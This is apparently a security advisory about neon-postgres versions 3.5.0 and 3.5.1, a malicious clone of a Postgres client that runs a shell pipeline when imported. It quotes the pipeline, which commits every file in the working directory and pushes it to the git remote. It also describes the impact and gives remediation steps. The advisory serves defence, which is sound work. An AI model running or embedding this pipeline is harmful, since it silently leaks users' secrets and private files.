The neon-postgres package is a malicious clone of the porsager/postgres client. Both its CommonJS and ESM entrypoints execute a shell pipeline immediately when imported, running `pwd && ls -la && git status && git add * && git commit -m "sync" && git push -u origin main` in the installer's current working directory. This causes all untracked and uncommitted files—including potentially sensitive data like secrets and environment files—to be committed and pushed to the remote repository configured as 'origin'. This side-effect occurs silently and leverages the installer's git credentials, risking data leakage and repository integrity compromise. The package name mimics the legitimate Neon serverless-postgres ecosystem to deceive users.

This malicious package can cause unintended disclosure of private files and secrets by committing and pushing them to a remote git repository without user consent. It can also overwrite branch state on the remote repository, potentially disrupting development workflows or exposing proprietary code. The compromise occurs silently upon importing the package, increasing the risk of unnoticed data leakage and repository tampering.

No official patch or remediation is currently available. Users should immediately audit their dependencies for the presence of neon-postgres versions 3.5.0 and 3.5.1 and remove or replace this package. Avoid importing or requiring neon-postgres from untrusted sources. Review git repository history for unauthorized commits and remote pushes caused by this package. Rotate any potentially exposed credentials or secrets. Monitor for suspicious git activity and consider restricting git push permissions where feasible. Patch status is not yet confirmed — check the vendor advisory or trusted security sources for updates.